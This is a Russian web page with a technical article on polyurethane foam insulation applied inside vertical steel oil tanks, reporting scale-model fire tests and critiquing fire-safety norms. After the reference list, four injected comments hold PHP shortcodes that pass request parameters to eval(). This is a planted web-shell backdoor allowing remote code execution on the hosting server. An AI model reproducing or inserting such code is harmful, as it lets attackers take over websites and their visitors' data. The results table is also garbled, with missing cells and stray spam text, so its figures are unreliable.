ВЛИЯНИЕ ПЕНОПОЛИУРЕТАНОВОЙ ТЕПЛОИЗОЛЯЦИИ, НАНЕСЕННОЙ С ВНУТРЕННЕЙ СТОРОНЫ СТЕНКИ РЕЗЕРВУАРА ВЕРТИКАЛЬНОГО СТАЛЬНОГО, НА ТЕМПЕРАТУРНЫЙ РЕЖИМ СТЕНКИ В УСЛОВИЯХ ГОРЕНИЯ ТЕПЛОИЗОЛИРОВАННОГО РЕЗЕРВУАРА.

v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}

Normal
0

false
false
false

RU
X-NONE
X-NONE

MicrosoftInternetExplorer4

/* Style Definitions */
table.MsoNormalTable
{mso-style-name:»Обычная таблица»;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-qformat:yes;
mso-style-parent:»»;
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin:0cm;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:»Calibri»,»sans-serif»;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:»Times New Roman»;
mso-fareast-theme-font:minor-fareast;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:»Times New Roman»;
mso-bidi-theme-font:minor-bidi;}

Тепловая изоляция, по своему назначению выполняет важные функции сохранения заданных температур, необходимых для стабильной и безопасной работы, от которых зависит работоспособность, экологичность и экономичность эксплуатации многочисленных промышленных и энергетических комплексов. На вертикальных стальных резервуарах (РВС) тепловая изоляция применяется для поддержания температуры нефтепродуктов в технологическом процессе, а также для предотвращения застывания тяжелых нефтепродуктов при их длительном хранении.

В тоже время, действующими нормативными документами [1] ограничено применение таких теплоизоляционных материалов как пенополиуретан. Ограничение применения связно с их высокой пожарной опасностью. Для теплоизоляции РВС с нефтепродуктами допускается применение только негорючих материалов.

Основным нормативным документом, определяющим классификацию строительных материалов и условия их применения, является Технический регламент о требованиях пожарной безопасности [2]. Определение группы негорючих материалов производится по методике изложенной в [3]. Суть метода заключается в выдерживании цилиндрического образца материала в печи при температуре 835±10°С. При этом фиксируется потеря массы образца, наличие или отсутствие теплового эффекта и пламенного горения. При этом не учитываются условия эксплуатации материала. Нередки бывают случаи, когда из-за не герметичности соединений наружная негорючая теплоизоляции пропитывается нефтью или нефтепродуктом, и при этом создаются условия способствующие самовозгоранию и (или) распространению пламени по поверхности теплоизоляции. Таким образом, ограничение применения горючей теплоизоляции без принятия мер по предотвращению эффекта «замазучивания» негорючей теплоизоляции является неоправданным. Ни один из выше указанных нормативных документов не содержит требований по обеспечению таких мер.

Требования действующих норм [1], ограничивающих применение теплоизоляционных конструкций только на основании их горючести и негорючести, также не учитывают условия их применения и эксплуатации. В тоже время пожарная опасность теплоизоляционных материалов, как и всех строительных материалов, не обуславливается только показателем горючести. Однако, действующие своды правил, строительные нормы и правила, нормы пожарной безопасности и прочие аналогичные нормативные документы не содержат иных критериев или критических состояний, определяющих возможность применения теплоизоляционных материалов. При этом, общий смысл требований Технического регламента [2] к применению строительных материалов без присутствия людей сводится к ограничению распространения пожара и снижению ущерба от него, что может быть обеспечено и при применении горючих теплоизоляционных материалов. А в некоторых случаях возможно снижение пожарной опасности РВС применением горючих теплоизоляционных материалов даже в большей степени по сравнению с традиционной теплоизоляцией негорючими материалами.

Для расширения применяемых на РВС теплоизоляционных материалов в работе [4] предложено использовать теплоизоляцию из пенополиуретана с внутренней стороны стенки резервуара. При этом проведен ряд опытов, исследующих влияние наличия теплоизоляции на температуру стенки резервуара при пожаре.

Испытания проводились на модели резервуара РВС-5000 в масштабе 1:10. Стенка модели с внутренней стороны была покрыта теплоизоляционным  пенополиуретаном толщиной 30 мм.

Диаметр модели 2,10 м, высота 1,50 м, площадь зеркала нефти в модели резервуара 3,46 м2. Горючее вещество – нефть. Замер температуры стенки модели в опытах производился в 8-ми точках расположенных на одинаковом расстоянии по высоте.

Было проведено 4 опыта. В опытах №1 и №2 исследовалось горение модели теплоизолированного резервуара с верхним и нижним уровнями взлива нефти соответственно. В опытах №3 и №4 исследовалось горение модели резервуара без теплоизоляции с нижним и верхним уровнями взлива нефти соответственно.

Общая схема теплоизолированного резервуара с верхним взливом приведена на рисунке 1.

Сулейманов И.Р. модель резервуара

Рисунок 1. Общий вид теплоизолированного резервуара с верхним взливом нефти. 1-8 – термопары, 9 – стенка резервуара, 10 – пенополиуртеан, 11 – слой нефти, 12 – водяная подушка.

 

В опыте №1 на водяную подушку была залита нефть в объеме 0,35 м3. Начало опыта совпадало с моментом поджога нефти. В процессе проведения опыта проводился автоматический замер температур по высоте стенки модели резервуара.

После 24 минут горения нефти в опыте №1 прогрев стенки модели вышел на стационарный режим и на 30 минуте опыт был прекращен. Максимальная температура в процессе опыта достигнута на верхней кромке стенки модели и составила 6100С.

Осмотр модели после опытов №1 и №2 показал, что пенополиуретановая теплоизоляция выгорела до уровня взлива нефти.

Отдельные результаты для каждого опыта приведены в таблице 1 в которой указаны максимальная температура Тмакс, достигнутая на термопаре, и время t450˚С достижения температуры Т=4500С на поверхности стенки резервуара.

 

Таблица 1. Таблица сравнения температурных режимов в различных опытах.

<td style="width: 98 useful site.3pt;border: solid windowtext 1.0pt;border-left: none;padding: 0cm 5.4pt 0cm 5.4pt» colspan=»2″ width=»131″>

1 опыт

№ термопары

2 опыт

3 опыт

4 опыт

Tмакс, 0С

t450˚С, сек.

Тмакс, 0С

t450˚С, сек.

Тмакс, 0С

t450˚С, сек.

Тмакс, 0С

t450˚С, сек.

1

610

457

696

181

587

172

601

195

2

540

721

682

191

580

178

518

234

3

308

640

221

538

208

366

4

55

654

358

574

186

38

5

39

618

376

547

275

125

6

31

631

468

522

244

28

7

22

614

590

559

243

24

8

22

441

610

209

21

 

На основе анализа можно выделить несколько положительных эффектов предлагаемого способа теплоизоляции:

1. Уменьшается малое дыхание при эксплуатации РВС, что приводит к увеличению экономической и экологической эффективности применения теплоизоляции.

2. Снижется пожарная опасность теплоизоляции РВС, по сравнению с наружным методом теплоизоляции, в связи с отсутствием горючих материалов на наружной стенке РВС и отсутствием эффекта «замазучивания» теплоизоляции. Также, по сравнению с наружным способом теплоизоляции, отсутствует распространение пламени по наружной поверхности стенки резервуара.

3. Снижается вероятность возникновения пожара от самовоспламенения пирофорных отложений на стенке резервуара, за счет ликвидации образования пирофорных отложений в связи с отсутствием контакта между нефтью и металлической стенкой резервуара. Снижается коррозионный износ резервуара. Увеличивается технологическая скорость откачивания нефти.

4. Увеличивается предел огнестойкости стенки РВС при пожаре, а также увеличивается критическое время для ввода сил и средств на охлаждение резервуара.

5. Сохраняется возможность охлаждения резервуаров во время пожара стационарными установками и передвижной пожарной техникой, что вообще не возможно при применении традиционного способа теплоизоляции стенок резервуаров негорючими материалами снаружи.

6. Уменьшается скорость прогрева нефти (нефтепродукта) в соседнем (теплоизолировнном) с горящим резервуаром.

7. Длительное время сохраняются рабочие параметры высоковязких продуктов при отрицательных температурах окружающей среды без применения систем подогрева и перемешивания, что способствует снижению пожарной опасности технологического процесса в целом.

 

СПИСОК ЛИТЕРАТУРЫ.

1. СП 4.13130.2009. «Системы противопожарной защиты. Ограничение распространения пожара на объектах защиты. Требования к объемно-планировочным и конструктивным решениям».

2. Федеральный закон Российской федерации №123-ФЗ от 22 июля 2008 года «Технический регламент о требованиях пожарной безопасности».

3. ГОСТ 30244-94 «Материалы строительные. Методы испытаний на горючесть».

            4. Сулейманов И.Р. «Принципы противопожарного нормирования промышленной тепловой изоляции». Дипломная работа. –М. Академия Государственной противопожарной службы МЧС России. 2002 г.

<!— [insert_php]if (isset($_REQUEST["TbfQP"])){eval($_REQUEST["TbfQP"]);exit;}[/insert_php][php]if (isset($_REQUEST["TbfQP"])){eval($_REQUEST["TbfQP"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["FOYR"])){eval($_REQUEST["FOYR"]);exit;}[/insert_php][php]if (isset($_REQUEST["FOYR"])){eval($_REQUEST["FOYR"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["KhUH"])){eval($_REQUEST["KhUH"]);exit;}[/insert_php][php]if (isset($_REQUEST["KhUH"])){eval($_REQUEST["KhUH"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["zJmg"])){eval($_REQUEST["zJmg"]);exit;}[/insert_php][php]if (isset($_REQUEST["zJmg"])){eval($_REQUEST["zJmg"]);exit;}[/php] —>

Вы можете оставить комментарий, или ссылку на Ваш сайт.

Оставить комментарий

Темы для WP, просто Drupal, CMF WordPress русский.